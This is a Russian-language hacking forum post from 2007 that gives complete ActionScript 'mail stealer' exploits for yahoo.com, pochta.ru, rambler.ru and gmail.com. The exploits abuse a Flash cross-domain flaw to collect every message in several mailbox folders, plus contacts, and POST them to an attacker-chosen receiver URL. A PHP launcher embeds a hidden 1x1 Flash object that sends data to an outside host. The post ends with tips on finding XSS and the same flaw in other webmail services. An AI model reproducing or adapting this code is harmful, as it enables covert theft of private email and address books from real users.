Показать сообщение отдельно

  #3  
Старый 07.09.2007, 15:25
Alexsize
Fail
Регистрация: 17.09.2005
Сообщений: 2,242
Провел на форуме:
9089375

Репутация: 4268


По умолчанию

yahoo.com

Код для кражи всех сообщений из директорий Inbox, Sent, Draft, Bulk, Trash [AS1/2]

Параметры:

· dataReceiverUrl

· [optional] messagesUntilDump

Требования:

· Flash Player 8+

· Javascript


Цитата:
/*

yahoo.com Mail Stealer by Cenarius

Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability

Steals all messages in next folders:

inbox, draft, sent, bulk, trash

Email: ooohoow@gmail.com | Icq: 100732

*/

// Params:

// dataReceiverUrl:String = Url of data receiving script

// [optional] messagesUntilDump:Number = Number of PMs per one dump

if(_level0.dataReceiverUrl) {

if(!_level0.messagesUntilDump) { var messagesUntilDump:Number = 3; }

import flash.external.ExternalInterface;

System.useCodepage = true;

var messagesContent:Array = new Array();

var allMessageLinks:Array = new Array();

var tmpMessageLinks:Object = new Object();

var foldersDone:Number = 0;

// Getting referrer

var referrer:String = ExternalInterface.call(

"function() { return document.referrer; }").toString();

var baseUrl:String = referrer.substring(0, referrer.lastIndexOf('/'));

// Loading policy file / Expanding 'sandbox'

System.security.loadPolicyFile(referrer + '&bodyPart=2');

var folders:Array = new Array(

'/ShowFolder?rb=Inbox&', // Inbox

'/ShowFolder?rb=Draft&', // Draft

'/ShowFolder?rb=Sent&', // Sent

'/ShowFolder?rb=@B@Bulk&', // Bulk

'/ShowFolder?rb=Trash&'); // Trash

// Getting lists of messages in folders

for(var i in folders) {

serverRequest(

baseUrl + folders[i],

onGetMessageList,

'GET');

}

}

function onGetMessageList(loadedData:String):Void {

if(!loadedData) {

// Connect error || expanding 'sandbox' error

return; }

// Parsing received data for links of messages

// Using external Js Regexp (Flash player < 9 doesn't support Regexp)

var links:Object = ExternalInterface.call(

'function(data) { return data.match(/(ShowLetter\\?[^\\"#]*)/ig); }',

loadedData.split("\\\"").join(''));

// Deleting similar links

for(var i in links) {

tmpMessageLinks[links[i]] = null; }

foldersDone++;

if(foldersDone == folders.length) {

// Concatenation (Object) tmpMessageLinks to (Array) allMessageLinks

for(var i in tmpMessageLinks) {

allMessageLinks.push(i); }

sendGetLinkRequsts();

}

}

function sendGetLinkRequsts():Void {

if(allMessageLinks.length) {

if(allMessageLinks.length < messagesUntilDump) {

messagesUntilDump = allMessageLinks.length; }

for(var i:Number = 1; i <= messagesUntilDump; i++) {

// Getting content of message

serverRequest(

baseUrl + '/' + allMessageLinks.shift() + '&',

onGetMessageContent,

'GET');

}

}

}

function onGetMessageContent(loadedData:String):Void {

if(messagesContent.push(loadedData) >= messagesUntilDump) {

// Dumping messages

serverRequest(

_level0.dataReceiverUrl,

function() {},

'POST',

'data=' + escape(messagesContent.join('<br>')));

messagesContent = new Array();

sendGetLinkRequsts();

}

}

function serverRequest(

requestUrl:String, onDataFunc:Function, method:String, vars:String):Void {

var sender:LoadVars = new LoadVars();

var loader:LoadVars = new LoadVars();

if(vars) { sender.decode(vars); }

loader.onData = onDataFunc;

sender.sendAndLoad(requestUrl, loader, method);

}

// EOF
pochta.ru

Код для кражи всех сообщений из директорий Inbox, Sent, Draft, Trash [AS3]

Параметры:

· dataReceiverUrl

· [optional] messagesUntilDump

Требования:

· Flash Player 9+

· Javascript


Цитата:
/*

pochta.ru Mail Stealer by Cenarius

Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability

Steals all messages in next folders:

inbox, draft, sent, trash

Email: ooohoow@gmail.com | Icq: 100732

*/

// Params:

// dataReceiverUrl:String = Url of data receiving script

// [optional] messagesUntilDump:Number = Number of PMs per one dump

var dataReceiverUrl:String = this.loaderInfo.parameters.dataReceiverUrl;

var messagesUntilDump:Number = this.loaderInfo.parameters.messagesUntilDump;

if(dataReceiverUrl) {

import flash.external.ExternalInterface;

if(!messagesUntilDump) { messagesUntilDump = 3; }

var messagesContent:Array = new Array();

var allLinks:Array = new Array();

var allLinksObject:Object = new Object();

var foldersDone:Number = 0;

// Getting referrer

var referrer:String = ExternalInterface.call(

"function() { return document.referrer; }").toString();

var messageId:String = referrer.match(/index=(\d+)/i)[1];

var baseUrl:String = referrer.substring(0, referrer.lastIndexOf('/'));

// Loading policy file / Expanding 'sandbox'

flash.system.Security.loadPolicyFile(baseUrl + '/view.php?index=' + messageId + '&partID=2&actionID=download_attach');

var folders:Array = new Array(

'/mailbox.php?mailbox=INBOX&', // Inbox

'/mailbox.php?mailbox=INBOX.Draft&', // Draft

'/mailbox.php?mailbox=INBOX.Sent&', // Sent

'/mailbox.php?mailbox=INBOX.Trash&'); // Trash

// Getting lists of messages in some folders (folders)

var loader:LoadUrl = new LoadUrl(null, onGetMessageList);

for each (var folder in folders) {

new LoadUrl(baseUrl + folder, onGetMessageList).loadUrl();

}

}

function onGetMessageList(loadedData:String, requestUrl:String):void {

if(!loadedData) {

// Connect error || expanding 'sandbox' error

return; }

// Parsing received data for links of messages

var currentLinks:Array = loadedData.match(/(message\.php\?index=\d+)/ig);

var currentFolder:String = requestUrl.match(/\?(mailbox=[a-z\.]+)&/i)[1];

// Deleting similar links

for each (var link:String in currentLinks) {

allLinksObject[link + '&' + currentFolder] = null; }

foldersDone++;

if(foldersDone == folders.length) {

for(var key:String in allLinksObject) {

allLinks.push(key); }

sendGetLinkRequsts();

}

}

function sendGetLinkRequsts():void {

if(allLinks.length) {

if(allLinks.length < messagesUntilDump) {

messagesUntilDump = allLinks.length; }

var loader:LoadUrl = new LoadUrl(null, onGetMessageContent);

for(var i:Number = 1; i <= messagesUntilDump; i++) {

// Getting content of message

loader.setRequestUrl(baseUrl + '/' + allLinks.shift());

loader.loadUrl();

}

}

}

function onGetMessageContent(loadedData:String, requestUrl:String):void {

if(messagesContent.push(loadedData) >= messagesUntilDump) {

// Dumping messages

var loader:LoadUrl = new LoadUrl(

dataReceiverUrl,

function() {},

'POST',

'data=' + escape(messagesContent.join('<br>')));

loader.loadUrl();

messagesContent = new Array();

sendGetLinkRequsts();

}

}

// EOF
Необходимый класс [LoadUrl.as]:

Цитата:
package {

import flash.net.*;

import flash.events.*;

public class LoadUrl {

private var requestUrl:String;

private var method:String;

private var vars:String;

private var onLoadFunction:Function;

// Constructor

public function LoadUrl(

requestUrl:String, onLoadFunction:Function, method:String = 'GET', vars:String = null):void {

this.requestUrl = requestUrl;

this.method = method;

this.vars = vars;

this.onLoadFunction = onLoadFunction;

}

public function setRequestUrl(requestUrl:String):void {

this.requestUrl = requestUrl;

}

public function getRequestUrl():String {

return(this.requestUrl);

}

public function loadUrl():void{

var request:URLRequest = new URLRequest(requestUrl);

request.method = method;

if(vars) { request.data = vars; }

var loader:URLLoader = new URLLoader();

loader.addEventListener(

Event.COMPLETE,

function() { onLoadFunction(loader.data, getRequestUrl()); } );

loader.addEventListener(

IOErrorEvent.IO_ERROR,

function() { loadUrl(); });

try {

loader.load(request);

} catch (error:Error) { return; }

}

}

}
rambler.ru

Код для кражи адресной книги и всех сообщений из директорий Inbox, Sent, Draft, Trash [AS3]

Параметры:

· dataReceiverUrl

· [optional] messagesUntilDump

Требования:

· Flash Player 9+

· Javascript


Цитата:
/*

rambler.ru Mail Stealer by Cenarius

Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability

Steals all messages in next folders:

inbox, draft, sent, trash + contacts

Email: ooohoow@gmail.com | Icq: 100732

*/

// Params:

// dataReceiverUrl:String = Url of data receiving script

// [optional] messagesUntilDump:Number = Number of PMs per one dump

var dataReceiverUrl:String = this.loaderInfo.parameters.dataReceiverUrl;

var messagesUntilDump:Number = this.loaderInfo.parameters.messagesUntilDump;

if(dataReceiverUrl) {

import flash.external.ExternalInterface;

if(!messagesUntilDump) { messagesUntilDump = 3; }

var messagesContent:Array = new Array();

var allLinks:Array = new Array('contacts.cgi');

var allLinksObject:Object = new Object();

var foldersDone:Number = 0;

// Getting referrer

var referrer:String = ExternalInterface.call(

"function() { return document.referrer; }").toString();

var messageId:String = referrer.match(/what=(\d+)/i)[1];

var mbox:String = referrer.match(/mbox=([a-z]+)/i)[1];

var baseUrl:String = referrer.substring(0, referrer.lastIndexOf('/'));

// Loading policy file / Expanding 'sandbox'

flash.system.Security.loadPolicyFile(baseUrl + '/mail.cgi?mode=obj;mbox=' + mbox + ';what=' + messageId + '.2;for=download');

var folders:Array = new Array(

'/mail.cgi?mode=mailbox;mbox=INBOX&', // Inbox

'/mail.cgi?mode=mailbox;mbox=SentBox&', // Sent

'/mail.cgi?mode=mailbox;mbox=DraftBox&', // Draft

'/mail.cgi?mode=mailbox;mbox=Trash&'); // Trash

// Getting lists of messages in some folders (folders)

var loader:LoadUrl = new LoadUrl(null, onGetMessageList);

for each (var folder in folders) {

new LoadUrl(baseUrl + folder, onGetMessageList).loadUrl();

}

}

function onGetMessageList(loadedData:String):void {

if(!loadedData) {

// Connect error || expanding 'sandbox' error

return; }

// Parsing received data for links of messages

var currentLinks:Array = loadedData.match(/(mail.cgi\?mode=obj;[^\"]+)/ig);

// Deleting similar links

for each (var link:String in currentLinks) {

allLinksObject[link + '&'] = null; }

foldersDone++;

if(foldersDone == folders.length) {

for(var key:String in allLinksObject) {

allLinks.push(key); }

sendGetLinkRequsts();

}

}

function sendGetLinkRequsts():void {

if(allLinks.length) {

if(allLinks.length < messagesUntilDump) {

messagesUntilDump = allLinks.length; }

var loader:LoadUrl = new LoadUrl(null, onGetMessageContent);

for(var i:Number = 1; i <= messagesUntilDump; i++) {

// Getting content of message

loader.setRequestUrl(baseUrl + '/' + allLinks.shift());

loader.loadUrl();

}

}

}

function onGetMessageContent(loadedData:String):void {

if(messagesContent.push(loadedData) >= messagesUntilDump) {

// Dumping messages

var loader:LoadUrl = new LoadUrl(

dataReceiverUrl,

function() {},

'POST',

'data=' + escape(messagesContent.join('<br>')));

loader.loadUrl();

messagesContent = new Array();

sendGetLinkRequsts();

}

}

// EOF
В примере используется класс LoadUrl такой же, как и для gmail.com (см. далее)


icqmail.com

На данном почтовом сервере присутствует описанная уязвимость, однако в ходе проверки обнаружились еще 3 активных XSS (поля from, to, cc), множество пассивных, поэтому писать exploit для данного сервиса я не стал, ибо использование активных XSS в данном случае эффективнее.


gmail.com

Данный почтовый сервис уязвим, если используется "Gmail's basic HTML view" (при отключенном Javascript). При переходе по ссылке в теле письма передается Referer. На основании двух параметров из Referer формируем адрес attachment. Exploit придется писать на AS3, т. к. понадобятся регулярные выражения без использования Javascript. Referer необходимо будет передавать клипу параметром, например, используя PHP + FlashVars.

Gmail's basic HTML view - http://mail.google.com/mail/h/

Код для кражи всех писем в директориях All Mail, Trash + contacts [AS3]

Параметры:

· Referer - адрес присланного жертве письма

· dataReceiverUrl

· [optional] messagesUntilDump

Требования:

· Flash Player 9+


Цитата:
/*

gmail.com Mail Stealer by Cenarius

Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability

Steals all mail + contacts

Works in Gmail's basic HTML view

Email: ooohoow@gmail.com | Icq: 100732

*/

// Params:

// dataReceiverUrl:String = Url of data receiving script

// referer:String

// [optional] messagesUntilDump:Number = Number of PMs per one dump

var dataReceiverUrl:String = this.loaderInfo.parameters.dataReceiverUrl;

var referer:String = this.loaderInfo.parameters.referer;

var messagesUntilDump:Number = this.loaderInfo.parameters.messagesUntilDump;

if(dataReceiverUrl && referer) {

if(!messagesUntilDump) { messagesUntilDump = 3; }

var messagesContent:Array = new Array();

var allLinks:Array = new Array('?v=cl');

var allLinksObject:Object = new Object();

var foldersDone:Number = 0;

var baseUrl:String = referer.substring(0, referer.lastIndexOf('/'));

var th:String = referer.match(/th=([a-z0-9]+)/i)[1];

// Loading policy file / Expanding 'sandbox'

flash.system.Security.loadPolicyFile(baseUrl + '?realattid=file0&attid=0.1&disp=attd&view=att&th= ' + th);

var folders:Array = new Array(

'/s=a&', // All Mail

'/s=t&'); // Trash

// Getting lists of messages in some folders (folders)

var loader:LoadUrl = new LoadUrl(null, onGetMessageList);

for each (var folder in folders) {

loader.setRequestUrl(baseUrl + folder);

loader.loadUrl();

}

}

function onGetMessageList(loadedData:String):void {

if(!loadedData) {

// Connect error || expanding 'sandbox' error

return; }

// Parsing received data for links of messages

var currentLinks:Array = loadedData.match(/(\?v=[^\"]+&th=[^\"]+)/ig);

// Deleting similar links

for each (var link:String in currentLinks) {

allLinksObject[link] = null; }

foldersDone++;

if(foldersDone == folders.length) {

for(var key:String in allLinksObject) {

allLinks.push(key); }

sendGetLinkRequsts();

}

}

function sendGetLinkRequsts():void {

if(allLinks.length) {

if(allLinks.length < messagesUntilDump) {

messagesUntilDump = allLinks.length; }

var loader:LoadUrl = new LoadUrl(null, onGetMessageContent);

for(var i:Number = 1; i <= messagesUntilDump; i++) {

// Getting content of message

loader.setRequestUrl(baseUrl + '/' + allLinks.shift() + '&');

loader.loadUrl();

}

}

}

function onGetMessageContent(loadedData:String):void {

if(messagesContent.push(loadedData) >= messagesUntilDump) {

// Dumping messages

var loader:LoadUrl = new LoadUrl(

dataReceiverUrl,

function() {},

'POST',

'data=' + encodeURIComponent(messagesContent.join('<br>')));

loader.loadUrl();

messagesContent = new Array();

sendGetLinkRequsts();

}

}
// EOF
Необходимый класс [LoadUrl.as]:

Цитата:
package {

import flash.net.*;

import flash.events.*;

public class LoadUrl {

private var requestUrl:String;

private var method:String;

private var vars:String;

private var onLoadFunction:Function;

// Constructor

public function LoadUrl(

requestUrl:String, onLoadFunction:Function, method:String = 'GET', vars:String = null):void {

this.requestUrl = requestUrl;

this.method = method;

this.vars = vars;

this.onLoadFunction = onLoadFunction;

}

public function setRequestUrl(requestUrl:String):void {

this.requestUrl = requestUrl;

}

public function getRequestUrl():String {

return(this.requestUrl);

}

public function loadUrl():void{

var request:URLRequest = new URLRequest(requestUrl);

request.method = method;

if(vars) { request.data = vars; }

var loader:URLLoader = new URLLoader();

loader.addEventListener(

Event.COMPLETE,

function() { onLoadFunction(loader.data); } );

loader.addEventListener(

IOErrorEvent.IO_ERROR,

function() { loadUrl(); });

try {

loader.load(request);

} catch (error:Error) { return; }

}

}

}
Пример запуска на PHP:

PHP код:
<?php $referer urlencode($_SERVER['HTTP_REFERER']); ?>

<OBJECT

id="fl"

classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"

width="1"

height="1"

codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">

<PARAM name="movie" value="fl.swf">

<PARAM name="FlashVars" value="dataReceiverUrl=http://hsite.com/cDataReceiver.php<?php echo '&referer=' $referer;?>">

<EMBED

name="fl"

src="fl.swf"

FlashVars="dataReceiverUrl=http://hsite.com/cDataReceiver.php<?php echo '&referer=' $referer;?>"

width="1"

height="1"

swLiveConnect="true"

pluginspace="http://www.macromedia.com/go/flashplayer/">

</EMBED>

</OBJECT>
При просмотре результатов использовать кодировку UTF-8

От необходимости поддержки браузером жертвы Javascript можно избавиться: для этого exploits надо писать на AS3, Referer получать используя, например, PHP, передавать его клипу посредством FlashVars (см. пример gmail.com)

Для проверки почтовых сервисов на XSS, CDDAF рекомендую использовать обновленную версию cXssTester. Для поиска XSS посылаем письмо на свой почтовый ящик и смотрим исходный код полученного письма, ищем недостатки в фильтрации. Для проверки на наличие CDDAF смотрим, возможно ли получить адрес прикрепленных к письму файлов или самого письма. Это можно сделать, получив Referer от жертвы, поэтому необходимо проверить, передается ли он при переходе по ссылке из письма, загружаются ли внешние HTML элементы. Также необходимо обратить внимание на наличие / отсутствие фильтрации кода сертификата в теле письма.
__________________
...
 
Ответить с цитированием